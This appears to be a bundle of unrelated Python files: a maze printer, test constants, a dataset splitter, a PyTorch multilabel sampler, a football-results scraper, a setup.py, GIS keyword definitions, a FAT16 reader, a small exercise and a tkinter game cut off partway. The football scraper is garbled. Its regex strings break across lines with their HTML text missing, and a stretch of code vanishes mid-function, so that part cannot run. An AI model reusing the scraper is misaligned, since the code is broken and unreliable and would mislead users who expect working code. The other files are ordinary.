# Part 2) Make another implementation of make_maze that starts from maze (a matrix of tiles)
# using a representation of a tile as a matrix

def make_maze(maze):
    result = ''
    for row in maze:
        line1 = ''
        line2 = ''
        line3 = ''
        for tile in row:
            line1 = line1 + tile[0][0] + tile[0][1] + tile[0][2]
            line2 = line2 + tile[1][0] + tile[1][1] + tile[1][2]
            line3 = line3 + tile[2][0] + tile[2][1] + tile[2][2]
        result = result + line1 + "\n" + line2 + "\n" + line3 + "\n"
    return result

# USAGE
if __name__ == '__main__':
    NP = [["#", "#", "#"],
          ["#", "#", "#"],
          ["#", "#", "#"]]

    LR = [["#", "#", "#"],
          [" ", " ", " "],
          ["#", "#", "#"]]

    TL = [["#", " ", "#"],
          [" ", " ", "#"],
          ["#", "#", "#"]]

    BR = [["#", "#", "#"],
          ["#", " ", " "],
          ["#", " ", "#"]]

    user_input = [[NP, NP, BR, LR],
                  [BR, LR, TL, NP],
                  [BR, LR, TL, NP]]

    output = make_maze(user_input)

    print(output)


from framework.utils.common_utils import random_number
from testdata.constants import MOBILE_NUMBER, SUCCESS_MSG

PAGE_TITLE = "Data Submission"

SECTION_TITLE = "Data Submission"

SUBJECT_TYPE = "Register a new clinic"

VALID_CONTACTS_WITH_WEB_ACCESS = {
    MOBILE_NUMBER: random_number(9),
    SUCCESS_MSG: "Registration successful. ID is: rep"
}


#Import required libraries

import os
import sys
import pandas as pd
from sklearn.model_selection import train_test_split

def split_fun(input_file_location, output_file_location,file_name, split_filename):
	#dir_path = '/scratch/cse/phd/anz208486/col873_project/NLP_project/Dataset'
	#if len(sys.argv)>1:
	#    filen = sys.argv[1]
	#else:
	#    filen = 'table2VecH.csv'
	dir_path = input_file_location
	filename = os.path.join(dir_path, file_name)
	df = pd.read_csv(filename, sep='\t', header=None)
	#print(df)
	df_train, df_test = train_test_split(df,test_size=0.3,random_state=27)
	#print('train:')
	#print(df_train.head())
	#print('test:')
	#print(df_test.head())
	filen = split_filename
	train_file = os.path.join(output_file_location,'train_'+filen)
	test_file = os.path.join(output_file_location,'test_'+filen)
	df_train.to_csv(train_file,sep='\t', index=False, header=False)
	df_test.to_csv(test_file,sep='\t', index=False, header=False)

	return(train_file,test_file)


import random
import numpy as np

from torch.utils.data.sampler import Sampler

class MultilabelBalancedRandomSampler(Sampler):
    """
    MultilabelBalancedRandomSampler: Given a multilabel dataset of length n_samples and
    number of classes n_classes, samples from the data with equal probability per class
    effectively oversampling minority classes and undersampling majority classes at the
    same time. Note that using this sampler does not guarantee that the distribution of
    classes in the output samples will be uniform, since the dataset is multilabel and
    sampling is based on a single class. This does however guarantee that all classes
    will have at least batch_size / n_classes samples as batch_size approaches infinity
    """

    def __init__(self, labels, indices=None, class_choice="least_sampled"):
        """
        Parameters:
        -----------
            labels: a multi-hot encoding numpy array of shape (n_samples, n_classes)
            indices: an arbitrary-length 1-dimensional numpy array representing a list
            of indices to sample only from
            class_choice: a string indicating how class will be selected for every
            sample:
                "least_sampled": class with the least number of sampled labels so far
                "random": class is chosen uniformly at random
                "cycle": the sampler cycles through the classes sequentially
        """
        self.labels = labels
        self.indices = indices
        if self.indices is None:
            self.indices = range(len(labels))

        self.num_classes = self.labels.shape[1]

        # List of lists of example indices per class
        self.class_indices = []
        for class_ in range(self.num_classes):
            lst = np.where(self.labels[:, class_] == 1)[0]
            lst = lst[np.isin(lst, self.indices)]
            self.class_indices.append(lst)

        self.counts = [0] * self.num_classes

        assert class_choice in ["least_sampled", "random", "cycle"]
        self.class_choice = class_choice
        self.current_class = 0

    def __iter__(self):
        self.count = 0
        return self

    def __next__(self):
        if self.count >= len(self.indices):
            raise StopIteration
        self.count += 1
        return self.sample()

    def sample(self):
        class_ = self.get_class()
        class_indices = self.class_indices[class_]
        chosen_index = np.random.choice(class_indices)
        if self.class_choice == "least_sampled":
            for class_, indicator in enumerate(self.labels[chosen_index]):
                if indicator == 1:
                    self.counts[class_] += 1
        return chosen_index

    def get_class(self):
        if self.class_choice == "random":
            class_ = random.randint(0, self.labels.shape[1] - 1)
        elif self.class_choice == "cycle":
            class_ = self.current_class
            self.current_class = (self.current_class + 1) % self.labels.shape[1]
        elif self.class_choice == "least_sampled":
            min_count = self.counts[0]
            min_classes = [0]
            for class_ in range(1, self.num_classes):
                if self.counts[class_] < min_count:
                    min_count = self.counts[class_]
                    min_classes = [class_]
                if self.counts[class_] == min_count:
                    min_classes.append(class_)
            class_ = np.random.choice(min_classes)
        return class_

    def __len__(self):
        return len(self.indices)


import requests
import re
import json

class Euro:
    def __init__(self, team):
        self.team = team
        self.num = 1
        self.match_list = {'1': 'Group_Match_1', '2': 'Group_Match_2', '3': 'Group_Match_3', '4': 'Group_Match_4',
                           '5': 'Group_Match_5', '6': 'Group_Match_6', '7': 'Group_Match_Result', '8': '1_8_final',
                           '9': 'Quarter_Finals',
                           '10': 'Semi_Finals', '11': 'Final'}
        self.match_list_1 = {'1': 'First_Round', '2': 'Second_Round', '3': 'Quarter_Finals_1', '4': 'Quarter_Finals_2',
                             '5': 'Quarter_Finals_3', '6': 'Quarter_Finals_4', '7': 'Quarter_Finals_5',
                             '8': 'Quarter_Finals_6', '9': 'Quarter_Final_Result', '10': 'Final'}
        self.match_list_2 = {'1': 'First_Round', '2': 'Second_Round', '3': 'Quarter_Finals', '4': 'Semi_Finals',
                             '5': 'Final'}
        self.match_list_3 = {'1': 'First_Round', '2': 'Quarter_Finals', '3': 'Semi_Finals', '4': 'Final'}
        self.match_list_e = {'1': 'Round', '2': 'Quarter_Finals', '3': 'Semi_Finals', '4': 'Final'}
        self.match_list_4 = {'1': 'Preliminary_Round', '2': 'First_Round', '3': 'Quarter_Finals', '4': 'Semi_Finals',
                             '5': 'Final'}
        self.match_list_s = {'1': '1_Group_Match_1', '2': '1_Group_Match_2', '3': '1_Group_Match_3',
                             '4': '1_Group_Match_4',
                             '5': '1_Group_Match_5', '6': '1_Group_Match_6', '7': '1_Group_Match_Result',
                             '8': '2_Group_Match_1', '9': '2_Group_Match_2', '10': '2_Group_Match_3',
                             '11': '2_Group_Match_4', '12': '2_Group_Match_5', '13': '2_Group_Match_6',
                             '14': '2_Group_Match_Result', '15': '1_8_final',
                             '16': 'Quarter_Finals',
                             '17': 'Semi_Finals', '18': 'Final'}

    def get_Url(self):
        url = 'http://www.rsssf.com/ec/ecomp.html'
        text = requests.get(url).text
        p1 = re.compile('The Results
(.*?)
The Finals
', re.S)
        text = re.findall(p1, text)[0]
        p2 = re.compile('>> str_text=strip_tags("hello")
        # >>> print str_text
        # hello
        # """
        from html.parser import HTMLParser
        html = html.strip()
        html = html.strip("\n")
        result = []
        parser = HTMLParser()
        parser.handle_data = result.append
        parser.feed(html)
        parser.close()
        return ''.join(result)

    def isNone(self, s):
        return s and s.strip

    def get_Data(self, url):
        text = requests.get(url).text
        # try:
        #     p1 = re.compile('Group Phase(.*?)
Index', re.S)
        #     text = re.findall(p1, text)[0]
        # except:
        #     try:
        #         p1 = re.compile('Group Phase 1(.*?)
Index', re.S)
        #         text = re.findall(p1, text)[0]
        #     except:
        #         try:
        #             p1 = re.compile('Additional Match Details(.*?)= 200304:
            try:
                p1 = re.compile('Group A(.*?)
', re.S)
                text = re.findall(p1, text)[0]
            except:
                p1 = re.compile('Group A(.*?)
', re.S)
                text = re.findall(p1, text)[0]
        elif int(season) >= 199900:
            try:
                p1 = re.compile('Group Phase 1(.*?)
', re.S)
                text = re.findall(p1, text)[0]
            except:
                p1 = re.compile('Group Phase 1(.*?)
', re.S)
                text = re.findall(p1, text)[0]
        elif int(season) >= 199495:
            try:
                p1 = re.compile('Group A(.*?)
', re.S)
                text = re.findall(p1, text)[0]
            except:
                p1 = re.compile('Group A(.*?)
', re.S)
                text = re.findall(p1, text)[0]
        elif int(season) >= 199192:
            try:
                p1 = re.compile('First Round(.*?)
', re.S)
                text = re.findall(p1, text)[0]
            except:
                p1 = re.compile('First Round(.*?)
', re.S)
                text = re.findall(p1, text)[0]
        elif int(season) >= 196263:
            try:
                p1 = re.compile('First Round(.*?)
', re.S)
                text = re.findall(p1, text)[0]
            except:
                p1 = re.compile('First Round(.*?)
', re.S)
                text = re.findall(p1, text)[0]
        else:
            try:
                p1 = re.compile('First Round(.*?)
', re.S)
                text = re.findall(p1, text)[0]
            except:
                p1 = re.compile('First Round(.*?)
', re.S)
                text = re.findall(p1, text)[0]

        item = text.split('\n')
        item = list(map(self.strip_tags, item))
        item = list(filter(self.isNone, item))
        return item

    def have_team(self, data):
        if self.team in data or self.team.upper() in data:
            return True
        else:
            if self.team == 'Bayern München':
                if 'Bayern Munich' in data or 'Bayern Munich'.upper() in data:
                    return True
            return False

    def hasNumbers(self, inputString):
        return any(char.isdigit() for char in inputString)

    def get_replace(self, s, season):
        if int(season) >= 200910:
            s = re.split(r'[\:]+', s)
            l = {}
            if len(s) > 1:
                if not self.hasNumbers(s[1]):
                    return {}
                ss = s[1]
                l = {'date': s[0], 'team_1': s[1][1:25], 'team_1_goal': s[1][30:31], 'team_2': s[1][32:57],
                     'team_2_goal': s[1][61:62]}
                self.num += 1
            else:
                try:
                    a = re.match(
                        r'([a-zA-zøöüñ\-\']+\s*[a-zA-Zøöüñ\-\']+\s*[a-zA-Zøöüñ\-\']*)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)',
                        s[0])
                    l = {'team': a.group(1), 'matches': a.group(2), 'win': a.group(3), 'draw': a.group(4),
                         'lose': a.group(5), 'goals': a.group(6), 'lose_goals': a.group(7), 'score': a.group(8)}
                except:
                    l = {'team_1': s[0][:25], 'team_2': s[0][30:55], 'first_turn': s[0][61:64],
                         'second_turn': s[0][66:69],
                         'sum': s[0][71:74]}
            return l
        elif int(season) >= 199596:
            s = re.split(r'[\:]+', s)
            l = {}
            if len(s) > 1:
                if not self.hasNumbers(s[1]):
                    return {}
                ss = s[1]
                l = {'date': s[0], 'team_1': s[1][1:25], 'team_1_goal': s[1][30:31], 'team_2': s[1][32:57],
                     'team_2_goal': s[1][62:63]}
                self.num += 1
            else:
                try:
                    a = re.match(
                        r'([a-zA-zøöüñ\-\']+\s*[a-zA-Zøöüñ\-\']+\s*[a-zA-Zøöüñ\-\']*)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)',
                        s[0])
                    l = {'team': a.group(1), 'matches': a.group(2), 'win': a.group(3), 'draw': a.group(4),
                         'lose': a.group(5), 'goals': a.group(6), 'lose_goals': a.group(7), 'score': a.group(8)}
                except:
                    l = {'team_1': s[0][:25], 'team_2': s[0][30:55], 'first_turn': s[0][61:64],
                         'second_turn': s[0][66:69],
                         'sum': s[0][71:74]}
            return l
        elif int(season) >= 199192:
            if len(s) > 70:
                l = {'team_1': s[:25], 'team_2': s[30:55], 'first_turn': s[61:64], 'second_turn': s[66:69],
                     'sum': s[71:74]}
            elif len(s) > 50:
                l = {'team_1': s[:25], 'team_1_goals': s[29:30], 'team_2': s[32:57], 'team_2_goals': s[61:62]}
            else:
                l = {'team': s[:27], 'matches': s[27:28], 'win': s[30:31], 'drew': s[33:34], 'lose': s[36:37],
                     'goals': s[38:40], 'lose_goals': s[41:43], 'score': s[44:46]}
            return l
        elif int(season) >= 198485:
            if len(s) > 70:
                l = {'team_1': s[:25], 'team_2': s[30:55], 'first_turn': s[61:64], 'second_turn': s[66:69],
                     'sum': s[71:74]}
                return l
            else:
                l = {'team_1': s[:25], 'team_1_goals': s[29:30], 'team_2': s[32:57], 'team_2_goals': s[61:62]}
                return l
        elif int(season) >= 196970:
            if len(s) > 70:
                l = {'team_1': s[:25], 'team_2': s[30:55], 'first_turn': s[60:63], 'second_turn': s[65:68],
                     'sum': s[70:73]}
                return l
            else:
                l = {'team_1': s[:25], 'team_1_goals': s[29:30], 'team_2': s[32:57], 'team_2_goals': s[61:62]}
                return l

        elif int(season) >= 196263:
            if len(s) > 70:
                l = {'team_1': s[:25], 'team_2': s[30:55], 'first_turn': s[61:64], 'second_turn': s[66:69],
                     'sum': s[71:74]}
                return l
            else:
                l = {'team_1': s[:25], 'team_1_goals': s[29:30], 'team_2': s[32:57], 'team_2_goals': s[61:62]}
                return l
        else:
            if len(s) > 70:
                l = {'team_1': s[:25], 'team_2': s[30:55], 'first_turn': s[61:64], 'second_turn': s[66:69],
                     'sum': s[71:74]}
            else:
                l = {'team_1': s[:25], 'team_1_goals': s[29:30], 'team_2': s[32:57], 'team_2_goals': s[61:62]}
            return l

    def get_teamgrade(self, item, season):
        if int(season) >= 200304:
            i = 1
            result = {}
            for it in item:
                if self.hasNumbers(it):
                    try:
                        result[self.match_list[str(i)]] = self.get_replace(it, season)
                    except:
                        result['ps'] = self.get_replace(it, season)
                    i += 1
            return result
        elif int(season) >= 199900:
            i = 1
            result = {}
            for it in item:
                if self.hasNumbers(it):
                    try:
                        result[self.match_list_s[str(i)]] = self.get_replace(it, season)
                    except:
                        result['ps'] = self.get_replace(it, season)
                    i += 1
            return result
        elif int(season) >= 199495:
            i = 1
            result = {}
            for it in item:
                if self.hasNumbers(it):
                    try:
                        result[self.match_list[str(i)]] = self.get_replace(it, season)
                    except:
                        result['ps'] = self.get_replace(it, season)
                    i += 1
            return result
        elif int(season) >= 199192:
            i = 1
            result = {}
            for it in item:
                if self.hasNumbers(it):
                    try:
                        result[self.match_list_1[str(i)]] = self.get_replace(it, season)
                    except:
                        result['ps'] = self.get_replace(it, season)
                    i += 1
            return result
        elif int(season) >= 196263:
            i = 1
            result = {}
            for it in item:
                if self.hasNumbers(it):
                    try:
                        result[self.match_list_2[str(i)]] = self.get_replace(it, season)
                    except:
                        result['ps'] = self.get_replace(it, season)
                    i += 1
            return result
        elif int(season) >= 195859:
            i = 1
            result = {}
            item = list(filter(self.hasNumbers, item))
            for it in item:
                result[self.match_list_3[str(i)]] = self.get_replace(it, season)
                i += 1
            return result
        elif int(season) >= 195758:
            i = 1
            result = {}
            for it in item:
                if self.hasNumbers(it):
                    result[self.match_list_e[str(i)]] = self.get_replace(it, season)
                    i += 1
            return result
        else:
            i = 1
            result = {}
            item = list(filter(self.hasNumbers, item))
            for it in item:
                result[self.match_list_3[str(i)]] = self.get_replace(it, season)
                i += 1
            return result

    def get_TeamData(self):
        url = self.get_Url()
        result = {}
        for it in url:
            print(it)
            data = self.get_Data(it)
            l = list(filter(self.have_team, data))
            # if len(list(filter(self.hasNumbers, l))) < 4:
            #     l = []
            result[it[26:32]] = self.get_teamgrade(l, it[26:32])

        return result
        # def make_Json(self):

if __name__ == '__main__':
    euro = Euro('Milan AC')
    data = euro.get_TeamData()
    json_data = json.dumps(data)
    fileObject = open('ACM.json', 'w')
    fileObject.write(json_data)
    fileObject.close()
    # euro = Euro('Real Madrid')
    # data = euro.get_Data('http://www.rsssf.com/ec/ec199899.html')
    # print(data)


from setuptools import setup, find_packages
import os
import subprocess

PACKAGE_NAME = "CryptoTokenAuth"

VERSION_FOLDER_NAME = PACKAGE_NAME

SHORT_DESCRIPTION = "Cryptographic token authentication"

LONG_DESCRIPTION_FILE_PATH = "README.md"

URL = "https://github.com/AidenEllis/CryptoTokenAuth"

REQUIREMENTS_FILE_PATH = "requirements.txt"  # requirements.txt file

KEYWORDS = ['CryptoTokenAuth', 'CryptoTokenAuthentication', 'TokenAuthentication', 'Token', 'Authentication',
            'Crypto', 'token', 'auth']

AUTHOR = "Aiden Ellis (Dev)"

project_version = subprocess.run(['git', 'describe', '--tags'], stdout=subprocess.PIPE).stdout.decode("utf-8").strip()
assert "." in project_version

assert os.path.isfile(f"{VERSION_FOLDER_NAME}/version.py")

with open(f"{VERSION_FOLDER_NAME}/VERSION", "w", encoding="utf-8") as fh:
    fh.write(f"{project_version}\n")

def read_file(filename):
    with open(os.path.join(os.path.dirname(__file__), filename)) as file:
        return file.read()

setup(
    name=PACKAGE_NAME,
    version=project_version,
    author=AUTHOR,
    author_email="",
    long_description_content_type="text/markdown",
    long_description=read_file('README.md'),
    description=SHORT_DESCRIPTION,
    packages=find_packages(),
    url=URL,
    package_data={'HTMLTemplateRender': ['VERSION']},
    install_requires=open(REQUIREMENTS_FILE_PATH).read().split("\n"),
    keywords=KEYWORDS,
    classifiers=[
        "Development Status :: 5 - Production/Stable",
        "Intended Audience :: Developers",
        "Programming Language :: Python :: 3",
        "Operating System :: Unix",
        "Operating System :: MacOS :: MacOS X",
        "Operating System :: Microsoft :: Windows",
    ]
)


# coding=utf-8

"""Definitions relating to layer keywords."""
from safe.definitions.extra_keywords import all_extra_keywords_name
from safe.utilities.i18n import tr

__copyright__ = "Copyright 2016, The InaSAFE Project"
__license__ = "GPL version 3"
__email__ = "info@inasafe.org"
__revision__ = '1a0dd4852cc92d080bf32eb73bc0487259083a8c'

# Base Metadata Property
property_organisation = {
    'key': 'property_organisation',
    'name': tr('Organisation'),
    'description': tr('An organized body of people who own the layer.')
}

property_email = {
    'key': 'property_email',
    'name': tr('Organisation'),
    'description': tr('The email address of the author of the layer.')
}

property_date = {
    'key': 'property_date',
    'name': tr('Date'),
    'description': tr('The date when the layer is created.')
}

property_abstract = {
    'key': 'property_abstract',
    'name': tr('Abstract'),
    'description': tr(
        'A brief narrative summary of the content of the layer.')
}

property_title = {
    'key': 'property_title',
    'name': tr('Title'),
    'description': tr('A name of the layer.')
}

property_license = {
    'key': 'property_license',
    'name': tr('License'),
    'description': tr('A permit from an authority to use the layer.')
}

property_url = {
    'key': 'property_url',
    'name': tr('URL'),
    'description': tr(
        'The address of World Web Page where we can find the layer or its '
        'description.')
}

property_layer_purpose = {
    'key': 'property_layer_purpose',
    'name': tr('Layer Purpose'),
    'description': tr(
        'The purpose of the layer, it can be hazard layer, exposure layer, or '
        'aggregation layer.')
}

property_layer_mode = {
    'key': 'property_layer_mode',
    'name': tr('Layer Mode'),
    'description': tr(
        'The mode of the layer, it can be continuous or classified layer.')
}

property_layer_geometry = {
    'key': 'property_layer_geometry',
    'name': tr('Layer Geometry'),
    'description': tr(
        'The geometry type of the layer, it can be point, line, polygon, '
        'or raster.')
}

property_keyword_version = {
    'key': 'property_keyword_version',
    'name': tr('Keyword Version'),
    'description': tr(
        'The version of the keywords for example 3.5 or 4.0. It depends on '
        'the InaSAFE version and has backward compatibility for some version.')
}

property_scale = {
    'key': 'property_scale',
    'name': tr('Scale'),
    'description': tr('The default scale of the layer.')
}

property_source = {
    'key': 'property_source',
    'name': tr('Source'),
    'description': tr('The location of where does the layer comes from.')
}

property_inasafe_fields = {
    'key': 'property_inasafe_fields',
    'name': tr('InaSAFE Fields'),
    'description': tr(
        'The mapping of field to a field concept in InaSAFE. More than one '
        'field can be mapped to the same field concept. It is stored as a '
        'dictionary format where field concept key is the key of the '
        'dictionary. And the value will be the list of fields that mapped '
        'into the field concept.')
}

property_inasafe_default_values = {
    'key': 'property_inasafe_default_values',
    'name': tr('InaSAFE Default Values'),
    'description': tr(
        'If a field concept in InaSAFE does not have field to be mapped, '
        'InaSAFE default values can be used to set a default value for a '
        'field concept in InaSAFE. One field concept can only have one '
        'default value. It is stored as dictionary where field concept key is '
        'the key of the dictionary and the default value will be the value of '
        'that key.')
}

# Exposure Layer Metadata Properties
property_exposure = {
    'key': 'property_exposure',
    'name': tr('Exposure'),
    'description': tr('The type of exposure that the layer represents.')
}

property_exposure_unit = {
    'key': 'property_exposure_unit',
    'name': tr('Exposure Unit'),
    'description': tr('The unit of the exposure that the layer represents.')
}

property_classification = {
    'key': 'property_classification',
    'name': tr('Exposure Classification'),
    'description': tr(
        'The classification of the exposure type. Some of the available '
        'values are generic_structure_classes, generic_road_classes, or '
        'data_driven_classes.')
}

property_value_map = {
    'key': 'property_value_map',
    'name': tr('Exposure Value Map'),
    'description': tr(
        'The mapping of class\'s key of the classification to some '
        'unique values.')
}

property_active_band = {
    'key': 'property_active_band',
    'name': tr('Active Band'),
    'description': tr(
        'Active band indicate which band of the layer that contains the data '
        'that the user want to use. The default value is the first band. It '
        'is only applied for multi band dataset.')
}

# Hazard Layer Metadata Properties
property_hazard = {
    'key': 'property_hazard',
    'name': tr('Hazard'),
    'description': tr('The type of hazard that the layer represents.')
}

property_hazard_category = {
    'key': 'property_hazard_category',
    'name': tr('Hazard Category'),
    'description': tr(
        'The category of the hazard that the layer represents. It can be '
        'single event or multiple event.')
}

property_continuous_hazard_unit = {
    'key': 'property_continuous_hazard_unit',
    'name': tr('Continuous Hazard Unit'),
    'description': tr('A unit for continuous hazard.')
}

property_value_maps = {
    'key': 'property_value_maps',
    'name': tr('Hazard Value Maps'),
    'description': tr(
        'A collection of value mapping for each exposure type. Where exposure '
        'type key is the key. For each exposure type, there is one or more '
        'classifications and its value mapping (to indicate which class a '
        'value mapped into). There is a flag `active` to indicate which '
        'classification is the active one.')
    # Sample
    # value_maps = {
    #     'land_cover': {
    #         'flood_hazard_classes': {
    #             'active': False,
    #             'classes': {
    #                 'dry': ['No', 'NO', 'dry'],
    #                 'wet': ['Yes', 'YES', 'Very wet', 'wet'],
    #             }
    #         },
    #         'flood_petabencana_hazard_classes': {
    #             'active': True,
    #             'classes': {
    #                 'low': ['No', 'NO', 'dry'],
    #                 'high': ['Yes', 'YES', 'wet'],
    #                 'very_high': ['Very wet', ]
    #             },
    #         }
    #     },
    #     'road': {
    #         'flood_hazard_classes': {
    #             'active': True,
    #             'classes': {
    #                 'dry': ['No', 'NO', 'dry'],
    #                 'wet': ['Yes', 'YES', 'Very wet', 'wet'],
    #             }
    #         },
    #         'flood_petabencana_hazard_classes': {
    #             'active': False,
    #             'classes': {
    #                 'low': ['No', 'NO', 'dry'],
    #                 'high': ['Yes', 'YES', 'wet'],
    #                 'very_high': ['Very wet', ]
    #             },
    #         }
    #     }
    # }
}

property_thresholds = {
    'key': 'property_thresholds',
    'name': tr('Hazard Thresholds'),
    'description': tr(
        'A collection of thresholds for each exposure type. Where exposure '
        'type key is the key. For each exposure type, there is one or more '
        'classifications and its thresholds (to indicate which class a '
        'range of value mapped into). The range consists of minimum value and '
        'maximum value in list. Minimum value is excluded while maximum '
        'value is included in the range. There is a flag `active` to '
        'indicate which classification is the active one.')
    # Sample
    # value_maps = {
    #     'land_cover': {
    #         'flood_hazard_classes': {
    #             'active': False,
    #             'classes': {
    #                 'dry': [0, 1],
    #                 'wet': [1, 999],
    #             }
    #         },
    #         'flood_petabencana_hazard_classes': {
    #             'active': True,
    #             'classes': {
    #                 'low': [0, 1],
    #                 'high': [1, 5],
    #                 'very_high': [5, 999]
    #             },
    #         }
    #     },
    #     'road': {
    #         'flood_hazard_classes': {
    #             'active': True,
    #             'classes': {
    #                 'dry': [0, 1],
    #                 'wet': [1, 999],
    #             }
    #         },
    #         'flood_petabencana_hazard_classes': {
    #             'active': False,
    #             'classes': {
    #                 'low': [0, 1],
    #                 'high': [1, 4],
    #                 'very_high': [4, 999]
    #             },
    #         }
    #     }
    # }
}

# Output Layer Metadata Property
property_exposure_keywords = {
    'key': 'property_exposure_keywords',
    'name': tr('Exposure Keywords'),
    'description': tr(
        'A copy of original exposure keywords in the output\'s analysis.'
    )
}

property_hazard_keywords = {
    'key': 'property_hazard_keywords',
    'name': tr('Hazard Keywords'),
    'description': tr(
        'A copy of original hazard keywords in the output\'s analysis.'
    )
}

property_aggregation_keywords = {
    'key': 'property_aggregation_keywords',
    'name': tr('Aggregation Keywords'),
    'description': tr(
        'A copy of original aggregation keywords in the output\'s analysis.'
    )
}

property_provenance_data = {
    'key': 'property_provenance_data',
    'name': tr('Provenance Data'),
    'description': tr(
        'A collection of provenance of the analysis as dictionary.'
    )
}

property_extra_keywords = {
    'key': 'extra_keywords',
    'name': tr('Extra Keywords'),
    'description': tr(
        'A collection of extra keyword for creating richer report.'
    ),
    # For translation
    'member_names': all_extra_keywords_name
}


"""
Implementation of a FAT16 filesystem reader

example usage:
>>> with open('testfs.dd', 'rb') as filesystem:
>>>     fs = FAT16(filesystem)

example to print all entries in root directory:
>>>     for i, v in fs.get_root_dir_entries():
>>>         if v != "":
>>>             print(v)

example to print all fat entries
>>>     for i in range(fs.entries_per_fat):
>>>         print(i,fs.get_cluster_value(i))

example to print all root directory entries
>>>     for entry in fs.get_root_dir_entries():
>>>         print(v, entry.get_start_cluster())

"""
import typing as typ
from construct import Struct, Array, Padding, Embedded, Bytes, this
from .bootsector import FAT12_16_BOOTSECTOR
from .dir_entry import DIR_ENTRY_DEFINITION as DIR_ENTRY
from .fat import FAT
from .fat_entry import FAT16Entry

FAT16_PRE_DATA_REGION = Struct(
    "bootsector" / Embedded(FAT12_16_BOOTSECTOR),
    Padding((this.reserved_sector_count - 1) * this.sector_size),
    # FATs
    "fats" / Array(this.fat_count, Bytes(this.sectors_per_fat * this.sector_size)),
    # RootDir Table
    "rootdir" / Bytes(this.rootdir_entry_count * DIR_ENTRY.sizeof())
    )

class FAT16(FAT):
    """
    FAT16 filesystem implementation.
    """
    def __init__(self, stream: typ.BinaryIO):
        """
        :param stream: filedescriptor of a FAT16 filesystem
        """
        super().__init__(stream, FAT16_PRE_DATA_REGION)
        self.entries_per_fat = int(self.pre.sectors_per_fat
                                   * self.pre.sector_size
                                   / 2)
        self._fat_entry = FAT16Entry
        self.fat_type = 'FAT16'

    def get_cluster_value(self, cluster_id: int) -> typ.Union[int, str]:
        """
        finds the value that is written into fat
        for given cluster_id
        :param cluster_id: int, cluster that will be looked up
        :return: int or string
        """
        byte = cluster_id*2
        byte_slice = self.pre.fats[0][byte:byte+2]
        value = int.from_bytes(byte_slice, byteorder='little')
        return self._fat_entry.parse(value.to_bytes(2, 'little'))

    def _root_to_stream(self, stream: typ.BinaryIO) -> None:
        """
        write root directory into a given stream
        :param stream: stream, where the root directory will be written into
        """
        stream.write(self.pre.rootdir)


book_info = (
("Best Mystery & Thriller","The Silent Patient",68821),
("Best Horror","The Institute",75717),
("Best History & Biography","The five",31783 ),
("Best Fiction","The Testaments",98291)
)

for i in book_info:
    book_type,book_name,number=i

    print(book_name,"'"+book_type+"'",number,'votes')

BracU/Practice For Final/tuple and dictionary/task3.py


from tkinter import *
import time
import sys
import random
#(c)Matt-C-Games 2014
tk=Tk()
canvas=Canvas(tk,width=960,height=600,highlightthickness=0,bd=0,bg='lightblue')
canvas.pack()
tk.resizable(0,0)
tk.title('Westie Run')
tk.wm_attributes('-topmost',1)
class Log:
    def __init__ (self,canvas):
        self.canvas=canvas
        self.logs=self.canvas.create_oval(910,350,960,400,fill='brown')
        self.circle=self.canvas.create_oval(920,360,950,390,fill='brown')
        self.line=self.canvas.create_line(920,360,950,390,fill='black')
        self.grass=self.canvas.create_polygon(0,400,960,400,960,600,0,600,fill='green')
    def draw(self):
        self.canvas.move(self.logs,-4,0)
        self.canvas.move(self.circle,-4,0)
        self.canvas.move(self.line,-4,0)
        self.logspos=self.canvas.coords(self.logs)
        self.circlepos=self.canvas.coords(self.circle)
        self.linepos=self.canvas.coords(self.line)
        tk.update()
        if self.logspos[2]<=0:
           self.canvas.delete(self.logs)
           self.canvas.delete(self.circle)
           self.canvas.delete(self.line)
           self.logs=self.canvas.create_oval(910,350,960,400,fill='brown')
           self.circle=self.canvas.create_oval(920,360,950,390,fill='brown')
           self.line=self.canvas.create_line(920,360,950,390,fill='black')
           tk.update()
class Westie:
    def __init__ (self,canvas,log):
        self.canvas=canvas
        self.log=log
        self.westie=self.canvas.create_oval(0,0,100,30,fill='white')
        self.leg1=self.canvas.create_line(10,25,10,50,fill='white')
        self.leg2=self.canvas.create_line(80,25,80,50,fill='white')
        self.head=self.canvas.create_oval(70,-30,110,5,fill='white')
        self.tail=self.canvas.create_line(-30,10,0,10,fill='white')
        self.canvas.move(self.leg1,100,350)
        self.canvas.move(self.leg2,100,350)
        self.canvas.move(self.head,100,350)
        self.canvas.move(self.tail,100,350)
        self.canvas.move(self.westie,100,350)
        self.y=0
        self.started=False
        tk.update()
        self.canvas.bind_all('<KeyPress-Up>',self.fly)
        self.canvas.bind_all('<KeyPress-Down>',self.land)
        self.canvas.bind_all('<Button-1>',self.start)
        self.canvas.bind_all('<KeyPress-f>',self.pause)
        self.westiepos=self.canvas.coords(self.westie)
        self.flyplane=canvas.create_rectangle(960,190,980,210,fill='red')
        self.plane=self.canvas.coords(self.flyplane)
        self.instructions=self.canvas.create_text(0,0,anchor=NW,text='How to play:\nUse the up and down arrow keys to move the dog.\nAvoid logs and flying debris.\nClick to begin.\nPress "f" to pause.\nTry to get the highest score possible!',font=('Times',30),fill='red',state='normal')
        self.text=self.canvas.create_text(480,300,text='Paused\nClick to Play',font=('Times',30),fill='orange',state='hidden')
        self.t1=0
        self.tq=0
        self.score=0
        self.scoreboard=canvas.create_text(930,0,anchor=N,text=self.score,font=('Times',30),fill='orange')
    def pause(self,evt):
        if self.started==True:
            self.canvas.itemconfig(self.text,state='normal')
            self.started=False
            self.tq+=time.time()-self.t1
    def start(self,evt):
        self.started=True
        self.canvas.itemconfig(self.instructions,state='hidden')
        self.canvas.itemconfig(self.text,state='hidden')
        self.t1=time.time()
    def fly(self,evt):
        self.y=-1
    def land(self,evt):
        self.y=1
    def draw(self):
        self.difference=time.time()-self.t1
        self.score=int(self.difference+self.tq)
        self.canvas.itemconfig(self.scoreboard,text=self.score)
        self.canvas.move(self.leg1,0,self.y)
        self.canvas.move(self.leg2,0,self.y)
        self.canvas.move(self.head,0,self.y)
        self.canvas.move(self.tail,0,self.y)
        self.canvas.move(self.westie,0,self.y)
        self.legpos=self.canvas.coords(self.leg1)
        if self.legpos[3]>400:
            self.y=0
            self.canvas.move(self.leg1,0,400-self.legpos[3])
            self.canvas.move(self.leg2,0,400-self.legpos[3])
            self.canvas.move(self.head,0,400-self.legpos[3])
            self.canvas.move(self.tail,0,400-self.legpos[3])
